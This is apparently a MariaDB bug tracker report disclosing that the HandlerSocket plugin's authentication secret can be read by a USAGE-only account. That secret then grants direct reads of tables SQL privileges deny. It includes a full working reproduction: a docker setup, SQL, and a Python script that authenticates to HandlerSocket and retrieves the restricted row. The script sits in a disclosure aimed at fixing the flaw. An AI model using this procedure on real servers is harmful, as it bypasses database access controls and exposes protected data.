Details
-
Bug
-
Status: Confirmed (View Workflow)
-
Minor
-
Resolution: Unresolved
-
10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3
-
None
-
Linux x86_64 host; official image `mariadb@sha256:dd9b303aed4f4890ed09f766d8ca9ddfd176c0c6f6267feff53b3192ec65a979`; server reports `12.3.3-MariaDB-ubu2404`, source revision `83e909fc2a0dbc394b4b683fb3fa2d7dcf26cc5e`.
Description
The HandlerSocket plugin generates a shared 16-byte authentication secret, but
the corresponding global system variables are readable by an account with only
`USAGE`. The same value authenticates to the HandlerSocket write port, where the
caller can directly read a table that SQL privileges deny to that account.
The test below uses an isolated container and a synthetic row. Python is used
only to send three HandlerSocket protocol lines and requires no third-party
module.
-
- Steps to reproduce
IMAGE='mariadb@sha256:dd9b303aed4f4890ed09f766d8ca9ddfd176c0c6f6267feff53b3192ec65a979'
|
C='mdev-handlersocket-repro'
|
cleanup() { docker rm -f "$C" >/dev/null 2>&1 || true; }
|
trap cleanup EXIT
|
|
|
docker run --detach --name "$C" \
|
--publish 127.0.0.1:19999:9999 \
|
--env MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=1 \
|
"$IMAGE" \
|
--plugin-maturity=beta \
|
--plugin-load-add=handlersocket.so \
|
--handlersocket-port=9998 \
|
--handlersocket-port-wr=9999
|
|
|
for i in $(seq 1 90); do
|
if docker exec "$C" mariadb --protocol=socket -uroot -NBe \
|
"SELECT @@port" 2>/dev/null | grep -qx 3306; then
|
break
|
fi
|
sleep 1
|
done
|
|
|
docker exec "$C" mariadb --protocol=socket -uroot -e "
|
CREATE DATABASE hs_scope;
|
CREATE TABLE hs_scope.secret_data(
|
id INT PRIMARY KEY,
|
secret_value VARCHAR(64)
|
) ENGINE=InnoDB;
|
INSERT INTO hs_scope.secret_data VALUES (1,'restricted-row');
|
CREATE USER 'edbf_probe'@'localhost';
|
GRANT USAGE ON *.* TO 'edbf_probe'@'localhost';
|
"
|
|
|
# Negative SQL privilege control. This must fail with ERROR 1142.
|
docker exec "$C" mariadb --protocol=socket -uedbf_probe \
|
-e "SELECT * FROM hs_scope.secret_data"
|
|
|
# The same USAGE-only account can read the HandlerSocket credential.
|
docker exec "$C" mariadb --protocol=socket -uedbf_probe -NBe \
|
"SELECT LENGTH(@@global.handlersocket_plain_secret),
|
@@global.handlersocket_plain_secret =
|
@@global.handlersocket_plain_secret_wr"
|
|
|
# Read the variable as the USAGE-only account and use it on HandlerSocket.
|
python3 - <<'PY'
|
import socket
|
import subprocess
|
|
|
container = "mdev-handlersocket-repro"
|
secret = subprocess.check_output([
|
"docker", "exec", container, "mariadb", "--protocol=socket",
|
"-uedbf_probe", "-NBe",
|
"SELECT @@global.handlersocket_plain_secret",
|
], text=True).strip()
|
|
|
with socket.create_connection(("127.0.0.1", 19999), timeout=5) as sock:
|
stream = sock.makefile("rwb", buffering=0)
|
requests = (
|
f"A\t1\t{secret}\n",
|
"P\t1\ths_scope\tsecret_data\tPRIMARY\tid,secret_value\n",
|
"1\t=\t1\t1\n",
|
)
|
labels = ("auth", "open", "read")
|
for label, request in zip(labels, requests):
|
stream.write(request.encode())
|
print(f"{label}_response={stream.readline().decode().rstrip()}")
|
PY
|
|
Actual result
The SQL control is denied:
ERROR 1142 (42000): SELECT command denied to user 'edbf_probe'@'localhost' for table `hs_scope`.`secret_data`
|
The secret query succeeds and reports that the read and write secrets are the
same:
16 1
|
The HandlerSocket connection then returns the otherwise denied row:
auth_response=0\t1
|
open_response=0\t1
|
read_response=0\t2\t1\trestricted-row
|
The server remains alive. This is not a server crash.
Expected result
An account without privileges on `hs_scope.secret_data` must not be able to
obtain a credential that grants direct HandlerSocket access to that table.
HandlerSocket authentication secrets should be treated as sensitive values and
must not be exposed through generally readable global variables.
Impact and boundary
An authenticated SQL account with only `USAGE` can cross the SQL privilege
boundary and read rows through HandlerSocket. Only MariaDB 12.3.3 was tested;
other versions and write operations were not evaluated. This report is
researcher-reproduced and not yet maintainer-confirmed.